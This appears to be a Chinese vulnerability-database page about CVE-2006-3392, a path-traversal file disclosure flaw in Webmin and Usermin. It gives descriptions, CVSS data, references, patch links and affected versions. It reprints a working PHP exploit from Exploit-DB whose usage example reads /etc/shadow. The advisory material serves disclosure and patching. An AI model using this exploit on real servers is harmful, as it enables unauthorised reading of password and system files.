CVE-2006-3392
CVSS5.0
发布时间 :2006-07-06 16:05:00
修订时间 :2011-03-07 00:00:00
NMCOES    

[原文]Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML, which allows remote attackers to read arbitrary files, as demonstrated using "..%01" sequences, which bypass the removal of "../" sequences before bytes such as "%01" are removed from the filename. NOTE: This is a different issue than CVE-2006-3274.


[CNNVD]Webmin/Usermin未明信息泄露漏洞(CNNVD-200607-036)

        Webmin 1.290之前版本和Usermin 1.220之前版本在解码HTML之前调用simplify_path 函数,可以使远程攻击者读取任意文件,比如使用"..%01"序列,该序列可在从文件名中删除诸如"%01"等字节之前绕过"../" 序列的删除。注: 此漏洞不同于CVE-2006-3274。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:usermin:usermin:1.210
cpe:/a:webmin:webmin:1.2.80

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3392
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-3392
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200607-036
(官方数据源) CNNVD

- 其它链接及资源

http://www.kb.cert.org/vuls/id/999601
(UNKNOWN)  CERT-VN  VU#999601
http://www.osvdb.org/26772
(PATCH)  OSVDB  26772
http://secunia.com/advisories/21365
(VENDOR_ADVISORY)  SECUNIA  21365
http://secunia.com/advisories/20892
(VENDOR_ADVISORY)  SECUNIA  20892
http://www.webmin.com/changes.html
(UNKNOWN)  CONFIRM  http://www.webmin.com/changes.html
http://www.vupen.com/english/advisories/2006/2612
(VENDOR_ADVISORY)  VUPEN  ADV-2006-2612
http://www.securityfocus.com/bid/18744
(UNKNOWN)  BID  18744
http://www.securityfocus.com/archive/1/archive/1/440493/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060715 Webmin / Usermin Arbitrary File Disclosure Vulnerability Perl
http://www.securityfocus.com/archive/1/archive/1/440125/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060710 Re: Webmin / Usermin Arbitrary File Disclosure Vulnerability exploit
http://www.securityfocus.com/archive/1/archive/1/439653/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060709 Webmin / Usermin Arbitrary File Disclosure Vulnerability exploit
http://www.securityfocus.com/archive/1/440466/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060715 Re: Webmin / Usermin Arbitrary File Disclosure Vulnerability exploit
http://www.mandriva.com/security/advisories?name=MDKSA-2006:125
(UNKNOWN)  MANDRIVA  MDKSA-2006:125
http://www.debian.org/security/2006/dsa-1199
(UNKNOWN)  DEBIAN  DSA-1199
http://security.gentoo.org/glsa/glsa-200608-11.xml
(UNKNOWN)  GENTOO  GLSA-200608-11
http://secunia.com/advisories/22556
(VENDOR_ADVISORY)  SECUNIA  22556
http://secunia.com/advisories/21105
(VENDOR_ADVISORY)  SECUNIA  21105
http://attrition.org/pipermail/vim/2006-June/000912.html
(UNKNOWN)  VIM  20060630 Webmin traversal - changelog
http://attrition.org/pipermail/vim/2006-July/000923.html
(UNKNOWN)  VIM  20060711 Re: Webmin traversal - changelog

- 漏洞信息

Webmin/Usermin未明信息泄露漏洞
中危 输入验证
2006-07-06 00:00:00 2006-09-22 00:00:00
远程  
        Webmin 1.290之前版本和Usermin 1.220之前版本在解码HTML之前调用simplify_path 函数,可以使远程攻击者读取任意文件,比如使用"..%01"序列,该序列可在从文件名中删除诸如"%01"等字节之前绕过"../" 序列的删除。注: 此漏洞不同于CVE-2006-3274。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        Webmin Usermin 0.4
        Webmin usermin-1.220.tar.gz
        http://webmin.com/cgi-bin/redirect.cgi/install/
        http://prdownloads.sour ceforge.net/webadmin/usermin-1.220.tar.gz
        Webmin Usermin 0.5
        Webmin usermin-1.220.tar.gz
        http://webmin.com/cgi-bin/redirect.cgi/install/
        http://prdownloads.sour ceforge.net/webadmin/usermin-1.220.tar.gz
        Webmin Usermin 0.6
        Webmin usermin-1.220.tar.gz
        http://webmin.com/cgi-bin/redirect.cgi/install/
        http://prdownloads.sour ceforge.net/webadmin/usermin-1.220.tar.gz
        Webmin Usermin 0.7
        Webmin usermin-1.220.tar.gz
        http://webmin.com/cgi-bin/redirect.cgi/install/
        http://prdownloads.sour ceforge.net/webadmin/usermin-1.220.tar.gz
        Webmin Usermin 0.8
        Webmin usermin-1.220.tar.gz
        http://webmin.com/cgi-bin/redirect.cgi/install/
        http://prdownloads.sour ceforge.net/webadmin/usermin-1.220.tar.gz
        Webmin Usermin 0.9
        Webmin usermin-1.220.tar.gz
        http://webmin.com/cgi-bin/redirect.cgi/install/
        http://prdownloads.sour ceforge.net/webadmin/usermin-1.220.tar.gz
        Webmin Usermin 0.91
        Webmin usermin-1.220.tar.gz
        http://webmin.com/cgi-bin/redirect.cgi/install/
        http://prdownloads.sour ceforge.net/webadmin/usermin-1.220.tar.gz
        Webmin Usermin 0.92
        Webmin usermin-1.220.tar.gz
        http://webmin.com/cgi-bin/redirect.cgi/install/
        http://prdownloads.sour ceforge.net/webadmin/usermin-1.220.tar.gz
        Webmin Usermin 0.93
        Webmin usermin-1.220.tar.gz
        http://webmin.com/cgi-bin/redirect.cgi/install/
        http://prdownloads.sour ceforge.net/webadmin/usermin-1.220.tar.gz
        Webmin Usermin 0.94
        Webmin usermin-1.220.tar.gz
        http://webmin.com/cgi-bin/redirect.cgi/install/
        http://prdownloads.sour ceforge.net/webadmin/usermin-1.220.tar.gz
        Webmin Usermin 0.95
        Webmin usermin-1.220.tar.gz
        http://webmin.com/cgi-bin/redirect.cgi/install/
        http://prdownloads.sour ceforge.net/webadmin/usermin-1.220.tar.gz
        Webmin Usermin 0.96
        Webmin usermin-1.220.tar.gz
        http://webmin.com/cgi-bin/redirect.cgi/install/
        http://prdownloads.sour ceforge.net/webadmin/usermin-1.220.tar.gz
        Webmin Usermin 0.97
        Webmin usermin-1.220.tar.gz
        http://webmin.com/cgi-bin/redirect.cgi/install/
        http://prdownloads.sour ceforge.net/webadmin/usermin-1.220.tar.gz
        Webmin Usermin 0.98
        Webmin usermin-1.220.tar.gz
        http://webmin.com/cgi-bin/redirect.cgi/install/
        http://prdownloads.sour ceforge.net/webadmin/usermin-1.220.tar.gz
        Webmin Usermin 0.99
        Webmin usermin-1.220.tar.gz
        http://webmin.com/cgi-bin/redirect.cgi/install/
        http://prdownloads.sour ceforge.net/webadmin/usermin-1.220.tar.gz
        Webmin Usermin 1.0
        Webmin usermin-1.220.tar.gz
        http://webmin.com/cgi-bin/redirect.cgi/install/
        http://prdownloads.sour ceforge.net/webadmin/usermin-1.220.tar.gz
        Webmin Webmin 1.0 90
        Webmin webmin-1.290.tar.gz
        http://webmin.com/cgi-bin/redirect.cgi/install/
        http://prdownloads.sour ceforge.net/webadmin/webmin-1.290.tar.gz
        Webmin Webmin 1.0 80
        Webmin webmin-1.290.tar.gz
        http://webmin.com/cgi-bin/redirect.cgi/install/
        http://prdownloads.sour ceforge.net/webadmin/webmin-1.290.tar.gz
        Webmin Webmin 1.0 20
        Webmin webmin-1.290.tar.gz
        http://webmin.com/cgi-bin/redirect.cgi/install/
        http://prdownloads.sour ceforge.net/webadmin/webmin-1.290.tar.gz
        Webmin Usermin 1.0
        Webmin usermin-1.220.tar.gz
        http://webmin.com/cgi-bin/redirect.cgi/install/
        http://prdownloads.sour ceforge.net/webadmin/usermin-1.220.tar.gz
        Webmin Webmin 1.0 00
        Webmin webmin-1.290.tar.gz
        http://webmin.com/cgi-bin/redirect.cgi/install/
        http://prdownloads.sour ceforge.net/webadmin/webmin-1.290.tar.gz
        Webmin Webmin 1.0 50
        Webmin webmin-1.290.tar.gz
        http://webmin.com/cgi-bin/redirect.cgi/install/
        http://prdownloads.sour ceforge.net/webadmin/webmin-1.290.tar.gz
        Webmin Webmin 1.0 70
        Webmin webmin-1.290.tar.gz
        http://webmin.com/cgi-bin/redirect.cgi/install/
        http://prdownloads.sour ceforge.net/webadmin/webmin-1.290.tar.gz
        Webmin Webmin 1.0 60
        Webmin webmin-1.290.tar.gz
        http://webmin.com/cgi-bin/redirect.cgi/install/
        http://prdownloads.sour ceforge.net/webadmin/webmin-1.290.tar.gz
        Webmin Webmin 1.100
        Webmin webmin-1.290.tar.gz
        http://webmin.com/cgi-b

- 漏洞信息 (1997)

Webmin < 1.290 / Usermin < 1.220 Arbitrary File Disclosure Exploit (EDBID:1997)
multiple remote
2006-07-09 Verified
10000 joffer
[点击下载] [点击下载]
<?php
/*
Name : Webmin / Usermin Arbitrary File Disclosure Vulnerability
Date :  2006-06-30
Patch : update to version 1.290
Advisory : http://securitydot.net/vuln/exploits/vulnerabilities/articles/17885/vuln.html
Coded by joffer , http://securitydot.net
*/

$host = $argv[1];
$port = $argv[2];
$http = $argv[3];
$file = $argv[4];
// CHECKING THE INPUT
if($host != "" && $port != "" && $http != "" && $file != "") {


$z = "/..%01";
for ($i=0;$i<60;$i++) {
        $z.="/..%01";
}

$target = $http."://".$host.":".$port."/unauthenticated".$z."/".$file."";

echo "Attacking ".$host."\n";
echo "---------------------------------\n";

// INITIALIZING CURL SESSION TO THE TARGET

$ch = curl_init();

curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $target);
curl_setopt ($ch, CURLOPT_TIMEOUT, '10');
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,FALSE);

$content = curl_exec($ch);
curl_close ($ch);

// CLOSING CURL

// ECHOING THE CONTENT OF THE $FILE
echo $content;

echo "---------------------------------\n";
echo "Coded by joffer , http://securitydot.net\n";

} else {
        // IF INPUT IS NOT CORRECT DISPLAY THE README
        echo "Usage php webmin.php HOST PORT HTTP/HTTPS FILE\n";
        echo "Example : php webmin.php localhost 10000 http /etc/shadow\n";
        echo "Coded by joffer , http://securitydot.net\n";
}

?>

# milw0rm.com [2006-07-09]
		

- 漏洞信息

26772
Webmin/Usermin simplify_path() Failure Arbitrary File Disclosure
Remote / Network Access Information Disclosure
Loss of Confidentiality
Vendor Verified

- 漏洞描述

Webmin / Usermin contain a flaw that may lead to an unauthorized information disclosure. The issue is triggered when an unspecified error occurs during URL handling by simplify_path() function, which will disclose files content information resulting in a loss of confidentiality.

- 时间线

2006-06-29 Unknow
Unknow Unknow

- 解决方案

Upgrade to Webmin version 1.290, Usermin version 1.220, or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

- 漏洞信息

Webmin/Usermin Unspecifed Information Disclosure Vulnerability
Input Validation Error 18744
Yes No
2006-06-30 12:00:00 2006-10-24 11:33:00
Kenny Chen is credited with the discovery of this vulnerability.

- 受影响的程序版本

Webmin Webmin 1.280
Webmin Webmin 1.270
Webmin Webmin 1.260
Webmin Webmin 1.250
Webmin Webmin 1.240
Webmin Webmin 1.230
Webmin Webmin 1.220
Webmin Webmin 1.210
Webmin Webmin 1.200
Webmin Webmin 1.190
Webmin Webmin 1.180
Webmin Webmin 1.170
Webmin Webmin 1.160
Webmin Webmin 1.150
Webmin Webmin 1.140
Webmin Webmin 1.130
Webmin Webmin 1.121
Webmin Webmin 1.110
Webmin Webmin 1.100
Webmin Webmin 1.0 90
Webmin Webmin 1.0 80
Webmin Webmin 1.0 70
+ HP Apache-Based Web Server 1.3.27 .01
+ HP Apache-Based Web Server 1.3.27 .01
+ HP Webmin-Based Admin 1.0.1 .01
+ HP Webmin-Based Admin 1.0.1 .01
+ Turbolinux Turbolinux Server 8.0
+ Turbolinux Turbolinux Server 8.0
+ Turbolinux Turbolinux Server 7.0
+ Turbolinux Turbolinux Server 7.0
+ Turbolinux Turbolinux Workstation 8.0
Webmin Webmin 1.0 60
Webmin Webmin 1.0 50
Webmin Webmin 1.0 20
Webmin Webmin 1.0 00
Webmin Usermin 1.180
Webmin Usermin 1.170
Webmin Usermin 1.160
Webmin Usermin 1.150
Webmin Usermin 1.140
Webmin Usermin 1.130
Webmin Usermin 1.120
Webmin Usermin 1.110
Webmin Usermin 1.0
Webmin Usermin 1.0
Webmin Usermin 0.99
+ Mandriva Linux Mandrake 9.0
Webmin Usermin 0.98
+ HP Apache-Based Web Server 2.0.43 .00
+ HP Apache-Based Web Server 1.3.27 .00
+ HP Webmin-Based Admin 1.0 .01
Webmin Usermin 0.97
+ MandrakeSoft Single Network Firewall 7.2
+ Mandriva Linux Mandrake 8.2 ppc
+ Mandriva Linux Mandrake 8.2
+ Mandriva Linux Mandrake 8.1 ia64
+ Mandriva Linux Mandrake 8.1
+ Mandriva Linux Mandrake 8.0 ppc
+ Mandriva Linux Mandrake 8.0
+ Mandriva Linux Mandrake 7.2
Webmin Usermin 0.96
Webmin Usermin 0.95
Webmin Usermin 0.94
+ Debian Linux 3.0 sparc
+ Debian Linux 3.0 s/390
+ Debian Linux 3.0 ppc
+ Debian Linux 3.0 mipsel
+ Debian Linux 3.0 mips
+ Debian Linux 3.0 m68k
+ Debian Linux 3.0 ia-64
+ Debian Linux 3.0 ia-32
+ Debian Linux 3.0 hppa
+ Debian Linux 3.0 arm
+ Debian Linux 3.0 alpha
Webmin Usermin 0.93
Webmin Usermin 0.92
Webmin Usermin 0.91
Webmin Usermin 0.9
Webmin Usermin 0.8
Webmin Usermin 0.7
Webmin Usermin 0.6
Webmin Usermin 0.5
Webmin Usermin 0.4
Mandriva Linux Mandrake 2006.0 x86_64
Mandriva Linux Mandrake 2006.0
MandrakeSoft Corporate Server 3.0 x86_64
MandrakeSoft Corporate Server 3.0
Gentoo Linux
Debian Linux 3.1 sparc
Debian Linux 3.1 s/390
Debian Linux 3.1 ppc
Debian Linux 3.1 mipsel
Debian Linux 3.1 mips
Debian Linux 3.1 m68k
Debian Linux 3.1 ia-64
Debian Linux 3.1 ia-32
Debian Linux 3.1 hppa
Debian Linux 3.1 arm
Debian Linux 3.1 amd64
Debian Linux 3.1 alpha
Debian Linux 3.1
Webmin Webmin 1.290
Webmin Usermin 1.220

- 不受影响的程序版本

Webmin Webmin 1.290
Webmin Usermin 1.220

- 漏洞讨论

Webmin and Usermin are prone to an unspecified information-disclosure vulnerability. This issue is due to a failure in the applications to properly sanitize user-supplied input.

An attacker can exploit this issue to retrieve potentially sensitive information.

This issue affects Webmin versions prior to 1.290 and Usermin versions prior to 1.220.

Unconfirmed reports suggest that this issue is the same as the one discussed in BID 18613 (Webmin Remote Directory Traversal Vulnerability). However, the fixes associated with that issue did not completely solve the vulnerability.

- 漏洞利用

Attackers can exploit this issue through a web client.

The following exploit is available:

- 解决方案

The vendor has released Usermin 1.220 and Webmin 1.290 to address this issue.

Please see the references for more information.


Webmin Usermin 0.4

Webmin Usermin 0.5

Webmin Usermin 0.6

Webmin Usermin 0.7

Webmin Usermin 0.8

Webmin Usermin 0.9

Webmin Usermin 0.91

Webmin Usermin 0.92

Webmin Usermin 0.93

Webmin Usermin 0.94

Webmin Usermin 0.95

Webmin Usermin 0.96

Webmin Usermin 0.97

Webmin Usermin 0.98

Webmin Usermin 0.99

Webmin Usermin 1.0

Webmin Webmin 1.0 90

Webmin Webmin 1.0 80

Webmin Webmin 1.0 20

Webmin Usermin 1.0

Webmin Webmin 1.0 00

Webmin Webmin 1.0 50

Webmin Webmin 1.0 70

Webmin Webmin 1.0 60

Webmin Webmin 1.100

Webmin Usermin 1.110

Webmin Webmin 1.110

Webmin Usermin 1.120

Webmin Webmin 1.121

Webmin Usermin 1.130

Webmin Webmin 1.130

Webmin Usermin 1.140

Webmin Webmin 1.140

Webmin Usermin 1.150

Webmin Webmin 1.150

Webmin Webmin 1.160

Webmin Usermin 1.160

Webmin Usermin 1.170

Webmin Webmin 1.170

Webmin Usermin 1.180

Webmin Webmin 1.180

Webmin Webmin 1.190

Webmin Webmin 1.200

Webmin Webmin 1.210

Webmin Webmin 1.220

Webmin Webmin 1.230

Webmin Webmin 1.240

Webmin Webmin 1.250

Webmin Webmin 1.260

Webmin Webmin 1.270

Webmin Webmin 1.280

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站